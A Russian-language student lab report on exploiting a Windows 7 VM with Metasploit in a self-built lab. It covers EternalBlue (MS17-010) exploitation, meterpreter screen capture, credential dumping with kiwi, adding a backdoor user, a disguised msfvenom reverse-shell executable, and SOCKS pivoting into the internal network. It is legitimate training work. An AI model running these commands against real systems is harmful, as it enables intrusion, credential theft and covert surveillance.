---
# System prepended metadata

title: Практика №3. Эксплутация уязвимостей. MetaSploit Framework

---

# Практика №3. Эксплутация уязвимостей. MetaSploit Framework

## Задание к практической работе №3

- Построить инфраструктуру в системе EVE-NG (есть возможность ее импортировать)
- Настроить каждое устройство в соответсвии со следующими параметрами:
    - Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
    - На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины
- Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов
- Использую Metasploit Framework - получить доступ до Windows-7 виртуальной машины
- Используя payload meterpreter:
    - выполнить создание нового пользователя
    - Выполнить скриншот рабочего стола
    - получить все учетные записи, находящиеся в памяти системы
    - Выполнить проксирование трафика во внутреннюю инфраструктуру

---
## Выполнение практической работы
### Построить инфраструктуру в системе PNET LAB (есть возможность её импортировать)
При выполнении данного пункта было решено импортировать инфраструктуру, ведь это избавляет от ошибок при её построении и запуске (проще говоря, она уже проверена на работу). Кроме того, все версии систем были заменены на актуальные, кроме Debian: Kali-2021 -> Kali22, Win-7 -> Win7en, Win-10 -> Win10ru, Pfsense 2.5.2 -> Pfsense 2.6.0.

![](https://i.imgur.com/AeKm4Bd.png)


Мы уже знакомы со всеми системами и устройствами в данной сети, кроме pfsense.
> **Pfsense** - это  дистрибутив для создания межсетевого экрана/маршрутизатора, основанный на FreeBSD. Не требует каких-либо знаний и умений, специфичных для данной ОС. Практически весь функционал доступен через веб-интерфейс. 


Перед работой на всех машинах был выключен внутренний фаервол и антивирус, как на скрине ниже.

![](https://i.imgur.com/LiVujX9.png)

![](https://i.imgur.com/Kagrmtp.png)

В том числе было включено удалённое подключение.

![](https://i.imgur.com/KxxAhjP.png)

Ну и не забудем на будущее включить SSH на Kali при помощи команд:
```
sudo systemctl enable ssh
sudo service ssh start 
```

> **SSH** (Secure SHell - защищенная оболочка) — сетевой протокол прикладного уровня, предназначеный для безопасного удаленного доступа. Данный протокол эффективен тем, что шифрует всю передаваемую информацию по сети. По умолчанию, используется 22-й порт. В основном он нужен для удаленного управления данными пользователя на сервере, запуска служебных команд, работы в консольном режиме с базами данных.

![](https://i.imgur.com/2G1FsjF.png)

:::danger
**!!ВАЖНОЕ ЗАМЕЧАНИЕ!!**
После закрытия лабаторной работы IP некоторых устройств менются, поэтому неудивительно, что на некоторых скриншотах разные IP одних и тех же устройств!
:::


### Настроить каждое устройство в соответсвии со следующими параметрами:
#### Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP

**DHCP** (Dynamic Host Configuration Protocol) -- протокол прикладного уровня модели TCP/IP, служит для назначения IP-адреса клиенту. IP-адрес можно назначать вручную каждому клиенту, то есть компьютеру в локальной сети. Но в больших сетях это очень трудозатратно, к тому же, чем больше локальная сеть, тем выше возрастает вероятность ошибки при настройке. Поэтому для автоматизации назначения IP был создан протокол DHCP. 

> **Discovery, или поиск**
> Изначально клиент находится в состоянии инициализации (INIT) и не имеет своего IP-адреса. Поэтому он отправляет широковещательное (broadcast) сообщение DHCPDISCOVER на все устройства в локальной сети. В той же локальной сети находится DHCP-сервер.
> 
> **Offer, или предложение**
> DHCP-сервер отвечает на поиск предложением, он сообщает IP, который может подойти клиенту. IP выделяются из области (SCOPE) доступных адресов, которая задается администратором. DHCP выделяет доступные IP-адреса из области только временно (об этом позже), поэтому нет гарантии, что при следующем подключении у данного клиента останется прежний IP. Но есть возможность назначить какому-либо клиенту определенный IP навсегда. К примеру, забронировать 192.0.0.10 за компьютером системного администратора. Такое сохранение IP для отдельных клиентов называют резервацией (reservation).
> 
> **Request, или запрос**
> Клиент получает DHCPOFFER, а затем отправляет на сервер сообщение DHCPREQUEST. Этим сообщением он принимает предлагаемый адрес и уведомляет DHCP-сервер об этом. Широковещательное сообщение почти полностью дублирует DHCPDISCOVER, но содержит в себе уникальный IP, выделенный сервером. Таким образом, клиент сообщает всем доступным DHCP-серверам «да, я беру этот адрес», а сервера помечают IP как занятый.
> 
> **Acknowledgement, или подтверждение**
> Сервер получает от клиента DHCPREQUEST и окончательно подтверждает передачу IP-адреса клиенту сообщением DHCPACK. Это широковещательное или прямое сообщение утверждает не только владельца IP, но и срок, в течение которого клиент может использовать этот адрес.

DHCP-сервером выступает как раз само устройство с pfsense. Это подтверждает официальная методичка: 
> Ппротокол динамической настройки узла (DHCP) позволяет устройству, такому как программное обеспечение pfSense, динамически распределять IP-адреса клиентам из предопределенного пула адресов. DHCP также отправляет клиентам информацию о конфигурации, такую как шлюз, DNS-серверы, доменное имя и другие полезные настройки.

Windows7 и Windows10 получают свои адреса автоматически.

![](https://i.imgur.com/1v04RKh.png)

![](https://i.imgur.com/8YstHg5.png)

Для того, чтобы получить адрес для устройства Debian, необходимо прописать команду dhclient.

:::info
Для управления адресом интерфейса по протоколу DHCP (Dynamic Host Configuration Protocol -- протокол динамической настройки узла) используется утилита dhclient.
:::

![](https://i.imgur.com/eAdvvoa.png)

#### На PfSense выполнить проброс с внешних 445/tcp и 3389/tcp портов на аналогичные порты win-7 виртуальной машины

:::info
**Проброс портов** - это технология, которая позволяет обращаться из Интернет к компьютеру во внутренней сети за маршрутизатором, использующим NAT (NAPT). Доступ осуществляется при помощи перенаправления трафика определенных портов с внешнего адреса маршрутизатора на адрес выбранного компьютера в локальной сети.
:::

Для того, чтобы выполнить проброс портов на pfsense используем вкладку Firewall -> NAT -> Port Forward. Далее выбираем add и выполняем найстроку для проброса. Нам нужно настроить два порта (445 и 3389). Заполняем поля Destination port range и redirect target port значением нужными нам портами, где destination port range - все порты, на которые приходят пакеты, а redirect target port отвечает за порт на конкретной машине, для которой мы чуть позже укажем IP (в справке по pfsense написано, что часто оба этих значения совпадают). Далее нам необходимо между двумя этит полями указать Redirect Target IP. Здесь указываем IP от Windows7-виртуальной машины (в нашем случае это 192.168.192.101). Не забываем, что при сбросе или поломке машины с ОС Win7 придётся каждый раз менять эти правила, а точнее менять IP, поскольку, как было выше объяснено, DHCP выдаёт каждый раз разные IP и не факт, что ваш предыдщуий IP ещё не заняли. 

![](https://i.imgur.com/kVDRnQp.png)

![](https://i.imgur.com/xx3VHtZ.png)

![](https://i.imgur.com/f2pHtPc.png)

Следующим пунктом наобходимо перейти во вкладку Interfaces -> WAN для того, чтобы отключить последние две настройки (без них подключение извне работать не будет!). 
После всего этого сохраняем изменения и применяем их. 

![](https://i.imgur.com/Kv3u2Uc.png)

![](https://i.imgur.com/RFD1fJI.png)

Теперь у нас есть два уязвимых порта 445 и 3389, на которых содержаться службы ms ds и ms rdp соотвественно.

:::info
порт 445 (TCP,UDP) - MICROSOFT-DS -- используется ОС Windows для совместной работы с файлами, используется в Windows 2000 и поздних версий для прямого TCP/IP-доступа без использования NetBIOS
:::

:::info
Протокол RDP (Remote Desktop Protocol) используется для удаленного доступа к рабочему столу компьютера или сервера с Windows. По умолчанию для удаленного подключения используется порт TCP 3389. 
:::

#### Выполнить сканирование внешнего интерфейса межсетевого экрана с помощью nmap и Nessus с целью обнаружения уязвимых сервисов

Во второй практике мы уже останавливались на теме сканеров, поэтому подробные объяснения излишни. Кроме того, в данный момент использовать Nessus не предоставляется возможным, поскольку он может быть доступен только с VPN, при включении которого PNET LAB перестаёт работать, а ноды теряют соединения. В итоге было принято решение использовать скрипты для утилиты nmap для поиска уязвимостей.

Для начала проводим агрессивное сканирование портов на внешнем IP, который выводит нам pfsense.

```
sudo nmap 192.189.192.137 -p 445,3389 -A
```
:::info 
``-p`` - указывает сканируемые порты
``-A`` - запускает агрессивное сканирование. Сейчас этот набор включает определение ОС (-O), сканирование с целью определения версии (-sV), сканирование с использованием скриптов (-sC) и трассировку (--traceroute).
:::

![](https://i.imgur.com/XUhSaow.png)

Действительно, он нашёл настроенные нами порты и просканировал их. Изначально агрессивное сканирование прошло неуспешно, но спустя один перезапуск Winodws7 всё отработало отлично. Обратим своё внимание на результаты.

![](https://i.imgur.com/k0TQhGd.png)

На рисунке выше можно наблюдать как точно Nmap указал ОС вплоть до версии. Та же он нашёл наименование ПК, доступ к которому открыт на 3389 порту (wbt-server - так Microsoft обозначает порт для RDP-подключения), версию RDP, даже время, на которой работает система.

![](https://i.imgur.com/FPshIuK.png)

Здесь мы снова видим некоторые детали по ОС и "дальности" распололжения устройства с просканированным IP.


![](https://i.imgur.com/ptdljAg.png)

Далее рассмотрим итоги, которые подвёл nmap. По 445 порту (он же smb и ms ds) он вывел несколько данных по самому устройству и по аккаунту, который по умолчанию будет подключён, если воспользуется данным протоколом.

![](https://i.imgur.com/aG6CLy2.png)

Здесь видим путь до устройства, которого мы сканировали.

После того, как мы увидели уязвимые порты нужно просканиировать их на эти самые уязвимости. В этом нам поможет скрипт vuln, который предустановлен в nmap.
Vuln скрипт проверяет порты и подбирает несколько уязвимостей, которые могут оказать довольно вредное воздействие, если сработают.

```
sudo nmap -sV --script vuln 192.168.192.137
```
:::info
``-sV`` - исследовать открытые порты для определения информации о службе/версии;
``--script`` - это разделенный запятыми список директорий, файлов скриптов или категорий скриптов;
:::


![](https://i.imgur.com/BZR4aEa.png)

Как видим, nmap указал на уязвимость под номером ms17-010. Энциклопедия Касперского объясняет её как:
> Данная атака основана на эксплуатации уязвимости SMB протокола в операционных системах Microsoft Windows. Эта уязвимость известна как EternalBlue. Она позволяет атакующему выполнять код с самыми высокими привилегиями, возможными в пользовательской модели Microsoft Windows.

Достаточно критическая уязвимость, которая может сильно повлиять на систему... её, пожалуй, и используем.


#### Используя Metasploit Framework - получить доступ до Windows-7 виртуальной машины
---

**Metasploit Framework** -- это фреймворк, который включает в себя набор инструментов для пентеста и этичного хакерства. Им пользуются, чтобы взламывать системы и сети, запускать в них вредоносный код или получать доступ к нужной информации.

Используется как пентестерами, так "белыми" хакерами и злоумышленниками.

**Из чего состоит утилита Metasploit Framework:**

**Эксплойты**. Это код, который эксплуатирует ошибку, неверную настройку или системный сбой. Эксплойт помогает найти ее, а потом воспользоваться, чтобы войти в систему.

**Пэйлоады**. Когда эксплойт получает доступ к системе, выполняется определенный код. Его называют пэйлоадом, или полезной нагрузкой. Обычно это шелл-код -- команды, написанные на языке оболочки операционной системы, то есть для консоли ОС. Пэйлоад нужен, чтобы установить соединение, запустить вредоносный код или выполнить другую операцию.

* статические -- помогают установить связь между системой, которую атаковали, и нужным пентестеру устройством. Например, они могут переадресовать порты;.
* динамические -- генерируются автоматически и выглядят уникальными, так они обходят антивирусы;
* для командной оболочки – команды для консоли, которые изменяют поведение системы;
* Meterpreter -- для управления монитором и перехвата данных с экрана.

**Сканирование и анализ.** Дополнительные модули Metasploit позволяют просканировать сеть и проанализировать трафик, который через нее идет.

**Слушатели.** Программные модули, которые собирают информацию, отслеживают те или иные действия.

**Кодеры и декодеры.** Назначение этих моделей -- кодировать и декодировать информацию, преобразовывать одни данные в другие.

---



Для того, чтобы вызвать Metasploit Framework, пропишем следующую команду в консоли:

```
msfconsole
```

![](https://i.imgur.com/KkdEDBu.png)

После этого она запускается и выдаёт немного информации о том, сколько всего присутсвует в ней инструментов по категориям. Воспользуемся поиском, прописав:

```
search ms17-010
```

Metasploit выведет нам несколько уязвимостей под этим номером, но мы воспользуемся самой стандартной из них - EternalBlue. 

![](https://i.imgur.com/zcQvGZN.png)

Просмотрим инфомрацию по данному эксплоиту при помощи:

```
info 0
```
, где 0 - это номер эксплоита, который выбрали, из списка выше.

![](https://i.imgur.com/COzNmTA.png)

Информация по эксплоиту сообщает нам о том, что он используется на системах Windows версии х64. А также немного о людях, которые предоставили код эксплоита.
Через `show options` смотрим какие необходимы параметры указать, чтобы эксплоит сработал. Для этого нам необходимо всего четыре параметра, три из которых уже установлены автоматически: 
* RHOSTS -  указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.
* RPORT - задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

![](https://i.imgur.com/pO5uMzU.png)

По умолчанию для этого эксплоита RPORT задаётся 445. Поэтому далее нам необхдимо указать RHOST. Используем внешний IP, который сканировали раннее и запускаем.

```
set RHOSTS 192.168.192.137
run
```

![](https://i.imgur.com/dYW8Jp9.png)

Таким образом мы получили доступ до Windows7 через 445 порт.

К тому же, видимо, что Metasploit использует reverse_tcp.

> **Reverse Shell** - тип оболочки, в которой целевая машина обменивается данными с атакующей машиной. Атакующая машина имеет порт прослушивания, по которому она получает соединение, которое достигается с помощью кода или выполнения команды.
> **Reverse TCP** - подвид Reverse Shell. Reverse TCP с большей вероятностью пройдет через брандмауэры, поскольку клиент/жертва установит обратное
соединение с злоумышленником.

-----------------------------

### Используя payload meterpreter:
#### Выполнить скриншот рабочего стола

Находясь в командной оболочке meterpreter используем функцию screenshare и screenshot, которые отвечают за транслирование экрана и скришот соответственно. Таким образом мы можем не просто делать снимки экрана, но и следить за действиями пользователя без его ведома.

![](https://i.imgur.com/hGMWoib.png)

Снимок экаран при помощи Screenshot:

![](https://i.imgur.com/WBAV2qU.png)

Screenshare:

![](https://i.imgur.com/zl53Ckc.png)

#### Получить все учетные записи, находящиеся в памяти системы

В той же командной оболочке meterpreter воспользуемся утилитой kiwi. Расширение Kiwi создано для выполнения различных типов операций, ориентированных на учётные данные, таких как сброс паролей и хэшей, сохранение паролей в памяти и т.п.

```
load kiwi
```

![](https://i.imgur.com/keTa3Wu.png)

После загрузки испозуем метод:

```
creads_all
```

Данный метод возвращает все найденные данные учётных записей.

![](https://i.imgur.com/Y43jCRY.png)

Таким образом, можем видеть, что на данном устройстве всего один пользователь user с паролем eve@123.

#### Выполнить создание нового пользователя

Для этого нам потребуется воспользоваться getgui. Это скрипт, выполняющий все настройки подключения. Для добавления нового пользователя необходимо прописать несколько параметров:
```
run getgui -u hamker -p neeva@123
```

:::info 
``-u`` - указывает на логин для нового пользователя;
``-p`` - указывает на пароль для нового пользователя.
:::

![](https://i.imgur.com/ZNABpfb.png)

Скрипт "отработал на отлично". Можем поставить сессию на фон (через bg) или вовсе выйти из неё (exit). Теперь необходимо подключиться к Windows7 через пэйлоад windows/x64/vncinject/revrese_tcp, который устанавливает обратное содениение с нами. Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу. 
Просмотрим что нужно для этого пейлоада через 
```
show options
```
![](https://i.imgur.com/wfsqtYU.png)

![](https://i.imgur.com/AZkFexr.png)


Нам важна последняя настройка, которая "включит" приложение TightVNC для просмотра экрана жертвы. Изменив её на значение "false", мы сможем управлять атакуемым устройством.

> **TightVNC** - кроссплатформенная свободная программа, реализация VNC с расширениями для оптимизации работы в условиях медленных каналов передачи данных. Позволяет обращаться дистанционно к рабочему столу другого компьютера через клиентскую программу или браузер, используя встроенный веб-сервер. 

![](https://i.imgur.com/smctppO.png)

Запускаем и убедимся, что видим жкран жертвы и можем управлять им. Для наглядности просмотрим сколькол сейчас пользователей на устройстве.

![](https://i.imgur.com/XYblJNc.png)

Для этого нам необходимо перейти в раздел управления над компьютером и просмотреть раздел локальных пользователей и групп.

![](https://i.imgur.com/Wmr5BQ3.png)

![](https://i.imgur.com/XPeNHgz.png)

На скрине выше можно видеть, что наш пользователь hamker точно добавился :)

#### Remote TCP forwarding

> Remote TCP forwarding - это проброс удаленного порта на локальный компьютер.

Вот схема, по которой мы будем работать:

![](https://i.imgur.com/RkCgqgN.png)


Для того того, чтобы сделать это - нам понадобится реализовать какой-нибудь эксплоит и сделать удалённое подключение для того, чтобы писать в командной строке устройства, но в работе ниже приведён облегчённый метод.

Посмотрим на kali информацию о сокет-соединениях. Команда ss - это инструмент, используемый для сбора статистики сокетов и отображающий информацию аналогично (хотя и проще и быстрее) netstat. Команда ss также может отображать даже больше информации о TCP и состоянии, чем большинство других инструментов.
```
sudo ss -tlpn
```
:::info 
``-t`` - показывает все TCP-сокеты;
``-l`` - показывает все текущие прослушивающие сокеты;
``-p`` - показывает PID (идентификаторы процессов) сокетов;
``-n`` - показывает номер порта вместо их названий.
:::

![](https://i.imgur.com/R5sBhn5.png)

Изначально он показывает только 22 порт, что логично, ведь на нём включён ssh.

Пропишем следующее на windows10:

```
ssh -R 7777:localhost:3389 user@192.168.192.131
```
:::info
`-R` - переброс удаленного порта на локальную машину.
:::

Данная команда заставляет ssh-сервер слушать порт 7777. На него подключается наша kali и ssh-клиент устанавливает на localhost (она же windows10) на порт 3389. После чего на этот же порт она передаёт данные, которые ssh-сервер принимает на kali на 7777 порту.

![](https://i.imgur.com/6boiM34.png)

Пропишем на kali ещё раз:
```
sudo ss -tlpn
```
Заметим, что теперь у нас открыт сокет на 7777 порту.

![](https://i.imgur.com/CO4T8xE.png)

И вот она магия, теперь, когда мы пытаемся подключиться к себе на localhost по порту 7777 при помощи **xfreerdp**.

> **xfreerdp** - клиент с открытым кодом для подключения к удаленному рабочему столу по протоколу RDP.

```
xfreerdp /u:user /p:eve@123 /v:127.0.0.1:7777
```

:::info 
``/u:`` - указывает логин пользователя для подключения;
``/p:`` - указывает пароль пользователя для подключения;
``/v:`` - указывает IP и порт для подключения.
:::

Однако, вводить данные придётся от Windows10, поскольку эти данные передадутся дальше на порт 3389 и, соответственно, на Windows10.

![](https://i.imgur.com/lQ9moMK.png)

Окно FreeRDP:

![](https://i.imgur.com/5HkphxC.png)

Таким образом, мы можем пробросить порты, а потом просто подключаться к себе.

#### Выполнить проксирование трафика во внутреннюю инфраструктуру

Проксирование трафика -- это практика, позволяющая распределять нагрузку, обходить и устанавливать запреты на посещение определенных веб-ресурсов, оставаться анонимным при работе в сети. Такие возможности достигаются за счет включения в соединение между пользователем и сетью дополнительного узла — прокси-сервера.
И сейчас в виде прокси-сервера будем выступать мы для внутренней сети, которую мы атакуем. При этом всё действия будем проделывать сами и видеть итоговый результат.

> **Прокси-сервер** обеспечивает шлюз между пользователями и интернетом. Этот сервер называется «посредником», поскольку он проходит между конечными пользователями и веб-страницами, которые они посещают в интернете.

Для этого воспользуемся ещё одной механикой - созданием поддельных приложений. Используем для этого msfvenom.

> **MSFVenom** -- бесплатный автономный генератор полезных нагрузок Metasploit.
> **Полезная нагрузка** -- это вредоносный скрипт, который злоумышленник использует для взаимодействия с целевой машиной с целью её компрометации.

```
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.192.131 LHOST=5757 -f exe -o ClickToBeYandexAmbassador.exe
```

:::info 
``-p`` -  сокращение от "payload", полезная нагрузка для выбранной платформы;
``LHOST`` - IP-адрес нашего компьютера (атакующего);
``LPORT`` - порт вашего компьютера, который назначен серверу или программе;
``-f`` - параметр, который задает тип файла, например, exe для Windows;
``-o`` - указывает наименование файла, который получается на выходе.
:::

![](https://i.imgur.com/3hiPSgX.png)

Проще говоря мы создаем вредоносный файл, после запуска которого атакованный компьютер будет пытаться подключиться к нашему (атакующему) компьютеру.

Далее чисто для удобства запускаем небольшой сервер на нашем устройтве, для того, чтобы перекинуть этот файл без особых трудностей (до этого файл был закинут в папку по пути /home/user/Downloads/virusi)

```
python -m http.server 80
```

:::info 
``-m`` -  сокращение от "module", указывает на название модуля
:::

![](https://i.imgur.com/zyIXnrs.png)

И переходим на Windows10 по IP Kali-машинки. Здесь мы видим ту самую директорию.

![](https://i.imgur.com/bvjEOZ6.png)

Скачиваем файлик и, пока, не трогаем его. Возвращаемся на kali, для того, чтобы настроить её на прослушивание.

Используем exploit/multi/handler.

```
use exploit/multi/handler
```

> **Exploit/multi/handler** - это общий обработчик полезной нагрузки для приёма соединений, исходящих от автономных полезных нагрузок или эксплойтов, обычно генерируемых вручную с помощью утилиты msfvenom.

Так же используем всё тот же meterpreter.

```
use payload windows/x64/meterpreter/reverse_tcp
```

![](https://i.imgur.com/0I3d4V0.png)

Нам будет необходимо настроить данный пейлоад. Меняем LHOST и LPORT на те, которые мы указали в msfvenom.

```
set LHOST 0.0.0.0
set LPORT 5757
```

![](https://i.imgur.com/tcdgRmn.png)

Запускаем его при помощи `run`. Теперь у нас прослушивается 5757 порт. Ждём, пока жертва запустит файл, который мы скинули до этого. После запуска тут же происходит reverse tcp и мы получаем полный доступ к устройству.

![](https://i.imgur.com/I4pSgaT.png)

Нам необходимо узнать как выглядит внутренняя сеть. Для этого используем ipconfig и смотрим на IP жертвы. В итоге получаем, что их сеть - 192.168.1.0/24.

![](https://i.imgur.com/rAbkkEW.png)

У Metasploit есть скрипт autoroute, который поможет автоматически добавлять маршруты для цели в таблицу маршрутизации Metasploit, чтобы Metasploit знал, как маршрутизировать трафик.

```
run autoroute -s 192.168.1.0/24
```

:::info 
``-s`` -  указывает на сеть.
:::

![](https://i.imgur.com/H78PvaZ.png)

Затем используем arp-сканнер.

> ARP Scan - утилита показывает все IPv4 адреса устройств в сети. Поскольку ARP не использует маршрутизацию, то такой вид сканирования работает только в локальной сети. Находит все активные устройства, даже если у них включен брандмауэр.

```
run post/windows/gather/arp_scanner RHOST=192.168.1.0/24
```

После того скнирования мы нашли всего 2 устройства. В том числе то, в которое мы проникли.

![](https://i.imgur.com/SEbGXLk.png)

Воспользуемся socks_proxy, встроенным в Metasploit, для создания прокси-сервера.

> socks_proxy предоставляет прокси-сервер SOCKS5, который использует встроенную маршрутизацию Metasploit для ретрансляции соединений.


```
use auxiliary/srver/socks_proxy
```

![](https://i.imgur.com/AwYHJ7L.png)

Просмотрев параметры, убедимся, что они настроены правильно, и запускаем сервер.

![](https://i.imgur.com/SppzOG9.png)

Затем нам потребуется утилита proxychains

> **Proxychains** -- это программа UNIX, которая позволяет маскировать наш IP-адрес, перенаправляя сетевой трафик. Он направляет наш TCP-трафик через прокси, включая TOR, SOCKS и HTTP.

Но перед тем, как её использовать, необходимо поправить конфиг. Перейдём в файл и добавим наш прокси.

```
nano /etc/proxychains.conf
```

![](https://i.imgur.com/GCFTvK3.png)

Пропишем здесь следущее:

```
[ProxyList]
socks5 0.0.0.0 1080
```
Это добавит нас как прокси-сервер в конфиг proxychains.

Далее используем nmap в связке с proxychains. Объединение Nmap и ProxyChains - очень распространенный метод, используемый для маршрутизации трафика во внутреннюю сеть при проведении тестов на проникновение. Эта комбинация инструментов эффективно позволяет нам направлять весь трафик Nmap через SSH-прокси SOCKS5 через устройство в клиентской среде.

```
proxychains nmap -sT -sV -Pn -n -p 3389,455,135,139 192.168.1.108
```

:::info 
``-sT`` -  отправляет TCP-пакет на порты;
``-sV`` - исследует открытые порты для определения информации о службе/версии;
``-Pn`` - расценивает все хосты как работающие - пропустить обнаружение хостов;
``-n`` -  не производить DNS разрешение;
``-p`` -  указывает на порты.
:::

Сканирование 135 и 139 портов было произведено по причине, что до этого сканирование пороходило в целом без указания конкретных портов и именно эти порты в том числе обнаружились на ряду с 445 и 3389.

![](https://i.imgur.com/cReUfo9.png)

Таким образом, мы можем проксировать трафик через любое устройство, которое выберем из локальной сети.